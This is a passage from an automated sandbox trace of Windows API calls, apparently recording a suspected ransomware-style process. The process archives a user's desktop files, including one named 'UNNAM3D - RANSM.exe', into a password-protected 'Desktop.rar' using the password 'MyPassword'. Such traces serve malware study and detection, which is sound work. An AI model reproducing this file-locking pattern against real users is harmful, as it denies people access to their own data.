(hWnd=0x102a0, lpString=" 94%") returned 1 [0070.662] SendMessageW (hWnd=0x102a6, Msg=0x402, wParam=0x60, lParam=0x0) returned 0x27 [0070.662] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0070.663] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0070.663] GetFocus () returned 0x102a8 [0070.663] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0070.664] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0070.664] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.664] ResetEvent (hEvent=0x33c) returned 1 [0070.664] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.664] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.664] ResetEvent (hEvent=0x33c) returned 1 [0070.664] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.664] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.665] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x318a0, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x318a0, lpOverlapped=0x0) returned 1 [0070.669] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 1 [0070.669] GetMessageW (in: lpMsg=0xe414dd360, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd360) returned 1 [0070.670] GetFocus () returned 0x102a8 [0070.670] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd360) returned 1 [0070.670] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.670] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2165681, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x210bb1 [0070.670] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x210bb1 [0070.670] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2f10 [0070.670] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde3030 [0070.670] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde3030, Size=0x48) returned 0x1ec0a6577d0 [0070.670] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c980 [0070.670] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2c70 [0070.670] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2c70, Size=0x48) returned 0x1ec0a657190 [0070.670] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c980 | out: hHeap=0x1ec0a590000) returned 1 [0070.670] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0070.670] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde30c0 [0070.670] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde27f0 [0070.670] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde27f0 | out: hHeap=0x1ec0a590000) returned 1 [0070.670] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde30c0 | out: hHeap=0x1ec0a590000) returned 1 [0070.670] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2f10, Size=0x48) returned 0x1ec0a6577d0 [0070.670] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6577d0, Size=0x7a) returned 0x1ec0a64a610 [0070.670] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64a613*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64a613*, lpNumberOfBytesWritten=0xe414d8140*=0x6b, lpOverlapped=0x0) returned 1 [0070.671] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2970 [0070.671] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x6b) returned 0x1ec0a659470 [0070.671] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657190 | out: hHeap=0x1ec0a590000) returned 1 [0070.671] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a610 | out: hHeap=0x1ec0a590000) returned 1 [0070.671] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x4c24bc [0070.671] CloseHandle (hObject=0x350) returned 1 [0070.671] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 1 [0070.671] GetMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd610) returned 1 [0070.671] GetFocus () returned 0x102a8 [0070.671] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd610) returned 1 [0070.672] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.672] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0070.672] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.672] FindFirstFileW (in: lpFileName="vmwN.flv", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09bf0 [0070.673] FindClose (in: hFindFile=0x1ec0de09bf0 | out: hFindFile=0x1ec0de09bf0) returned 1 [0070.673] CreateFileW (lpFileName="vmwN.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\vmwn.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0070.673] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0070.673] GetTickCount () returned 0x278b0 [0070.673] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0070.673] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0070.673] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0070.673] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0070.673] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="UNNAM3D - RANSM.exe") returned 19 [0070.673] SetWindowTextW (hWnd=0x1028c, lpString="vmwN.flv") returned 1 [0070.674] GetTickCount () returned 0x278b0 [0070.674] UpdateWindow (hWnd=0x10284) returned 1 [0070.674] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0070.674] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0070.674] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0070.674] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0070.674] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x30, wMilliseconds=0xa3)) [0070.674] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0070.674] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=16200283227) returned 1 [0070.674] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0xbdae, lpOverlapped=0x0) returned 1 [0070.674] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d910dee, nNumberOfBytesToRead=0xf4252, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d910dee*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0070.674] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0070.675] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.675] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2760 [0070.675] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2dc0 [0070.675] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2dc0, Size=0x48) returned 0x1ec0a656a10 [0070.675] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c4c0 [0070.675] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2c70 [0070.675] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2c70, Size=0x48) returned 0x1ec0a6577d0 [0070.675] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c4c0 | out: hHeap=0x1ec0a590000) returned 1 [0070.675] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656a10 | out: hHeap=0x1ec0a590000) returned 1 [0070.675] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde3090 [0070.675] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2eb0 [0070.675] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2eb0 | out: hHeap=0x1ec0a590000) returned 1 [0070.675] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde3090 | out: hHeap=0x1ec0a590000) returned 1 [0070.675] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2760, Size=0x48) returned 0x1ec0a656a10 [0070.675] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656a10, Size=0x7a) returned 0x1ec0a64ac40 [0070.675] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0070.675] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64ac40 | out: hHeap=0x1ec0a590000) returned 1 [0070.676] GetTickCount () returned 0x278b0 [0070.676] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=16200436054) returned 1 [0070.676] GetTickCount () returned 0x278b0 [0070.676] GetTickCount () returned 0x278b0 [0070.676] GetTickCount () returned 0x278b0 [0070.676] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0070.676] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0070.676] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.677] ResetEvent (hEvent=0x344) returned 1 [0070.677] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.677] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0070.679] ResetEvent (hEvent=0x344) returned 1 [0070.679] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.679] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0070.681] GetTickCount () returned 0x278b0 [0070.681] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16201020734) returned 1 [0070.682] GetTickCount () returned 0x278b0 [0070.682] GetTickCount () returned 0x278b0 [0070.682] GetTickCount () returned 0x278b0 [0070.682] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0070.682] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0070.682] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.682] ResetEvent (hEvent=0x33c) returned 1 [0070.682] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.682] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.974] ResetEvent (hEvent=0x33c) returned 1 [0070.974] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0070.974] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0070.975] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 1 [0070.982] GetMessageW (in: lpMsg=0xe414dd360, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd360) returned 1 [0070.982] GetFocus () returned 0x102a8 [0070.982] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd360) returned 1 [0070.983] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.983] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x4c24bc [0070.983] SetFilePointer (in: hFile=0x32c, lDistanceToMove=92, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x4c2518 [0070.983] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0070.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0070.983] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0070.983] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0070.983] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0070.983] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0xbe10, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0xbe10, lpOverlapped=0x0) returned 1 [0070.984] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0070.984] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.984] SetFilePointer (in: hFile=0x32c, lDistanceToMove=4990140, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x4c24bc [0070.984] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x4c24bc [0070.984] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2dc0 [0070.984] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde26d0 [0070.984] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde26d0, Size=0x48) returned 0x1ec0a6577d0 [0070.984] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c4c0 [0070.984] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde28b0 [0070.984] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde28b0, Size=0x48) returned 0x1ec0a6569c0 [0070.984] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c4c0 | out: hHeap=0x1ec0a590000) returned 1 [0070.984] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0070.984] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2fa0 [0070.984] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2be0 [0070.984] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2be0 | out: hHeap=0x1ec0a590000) returned 1 [0070.984] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2fa0 | out: hHeap=0x1ec0a590000) returned 1 [0070.984] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2dc0, Size=0x48) returned 0x1ec0a656f10 [0070.984] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656f10, Size=0x7a) returned 0x1ec0a64a460 [0070.985] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64a463*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64a463*, lpNumberOfBytesWritten=0xe414d8140*=0x5c, lpOverlapped=0x0) returned 1 [0070.985] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2a00 [0070.985] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x5c) returned 0x1ec0ddfe550 [0070.985] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0070.985] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a460 | out: hHeap=0x1ec0a590000) returned 1 [0070.985] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x4ce328 [0070.985] CloseHandle (hObject=0x350) returned 1 [0070.985] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0070.985] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.985] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0070.985] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.985] FindFirstFileW (in: lpFileName="yo39-hWsdk Kwqd0cHA.flv", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09e90 [0070.985] FindClose (in: hFindFile=0x1ec0de09e90 | out: hFindFile=0x1ec0de09e90) returned 1 [0070.985] CreateFileW (lpFileName="yo39-hWsdk Kwqd0cHA.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\yo39-hwsdk kwqd0cha.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0070.985] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0070.985] GetTickCount () returned 0x279e9 [0070.985] GetLastError () returned 0x0 [0070.985] SetLastError (dwErrCode=0x0) [0070.985] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0070.985] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0070.985] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbe10, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0070.986] SetWindowTextW (hWnd=0x1028e, lpString=" 0%") returned 1 [0070.986] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0070.987] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0070.987] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0070.987] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0070.987] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0070.987] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="vmwN.flv") returned 8 [0070.987] SetWindowTextW (hWnd=0x1028c, lpString="yo39-hWsdk Kwqd0cHA.flv") returned 1 [0070.988] GetTickCount () returned 0x279e9 [0070.988] UpdateWindow (hWnd=0x10284) returned 1 [0070.988] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0070.988] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0070.988] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0070.988] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0070.988] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x30, wMilliseconds=0x1db)) [0070.988] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0070.988] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=16231686070) returned 1 [0070.988] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x8e8b, lpOverlapped=0x0) returned 1 [0070.988] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d90decb, nNumberOfBytesToRead=0xf7175, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d90decb*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0070.988] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0070.989] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0070.989] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2fa0 [0070.989] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2e80 [0070.989] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2e80, Size=0x48) returned 0x1ec0a657190 [0070.989] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c980 [0070.989] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2700 [0070.989] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2700, Size=0x48) returned 0x1ec0a657230 [0070.989] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c980 | out: hHeap=0x1ec0a590000) returned 1 [0070.989] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657190 | out: hHeap=0x1ec0a590000) returned 1 [0070.989] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde31e0 [0070.989] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2af0 [0070.989] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2af0 | out: hHeap=0x1ec0a590000) returned 1 [0070.989] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde31e0 | out: hHeap=0x1ec0a590000) returned 1 [0070.989] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2fa0, Size=0x48) returned 0x1ec0a6569c0 [0070.989] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6569c0, Size=0x7a) returned 0x1ec0a649f50 [0070.989] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657230 | out: hHeap=0x1ec0a590000) returned 1 [0070.989] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a649f50 | out: hHeap=0x1ec0a590000) returned 1 [0070.990] GetTickCount () returned 0x279e9 [0070.990] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=16231902344) returned 1 [0070.990] GetTickCount () returned 0x279e9 [0070.990] GetTickCount () returned 0x279e9 [0070.990] GetTickCount () returned 0x279e9 [0070.991] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, 